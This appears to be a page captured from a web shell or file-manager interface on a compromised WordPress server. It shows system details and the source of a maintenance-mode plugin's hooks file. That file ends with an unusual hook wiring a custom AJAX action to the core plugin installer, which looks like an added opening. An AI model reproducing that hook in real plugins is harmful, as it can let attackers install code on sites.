HEX
Server: Apache
System: Linux WWW 6.1.0-40-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.153-1 (2025-09-20) x86_64
User: web11 (1011)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /var/www/vabsp.kaunokolegija.lt/wp-content/plugins/wp-maintenance-mode/includes/functions/hooks.php
<?php

/**
 * Helpers
 */

defined( 'ABSPATH' ) || exit;

/**
 * Add extra plugin headers (used by get_file_data function)
 *
 * @since 2.2.1
 * @param array $headers
 * @return array
 */
function wpmm_add_extra_plugin_headers( $headers ) {
	$headers[] = 'GitHub Plugin URI';
	$headers[] = 'Twitter';

	return $headers;
}

/**
 * Change email content type
 *
 * @since 2.2.1
 * @param string $content_type
 * @return string
 */
function wpmm_change_mail_content_type( $content_type ) {
	return 'text/html';
}

add_action( 'wp_ajax_wp_ajax_install_plugin', 'wp_ajax_install_plugin' );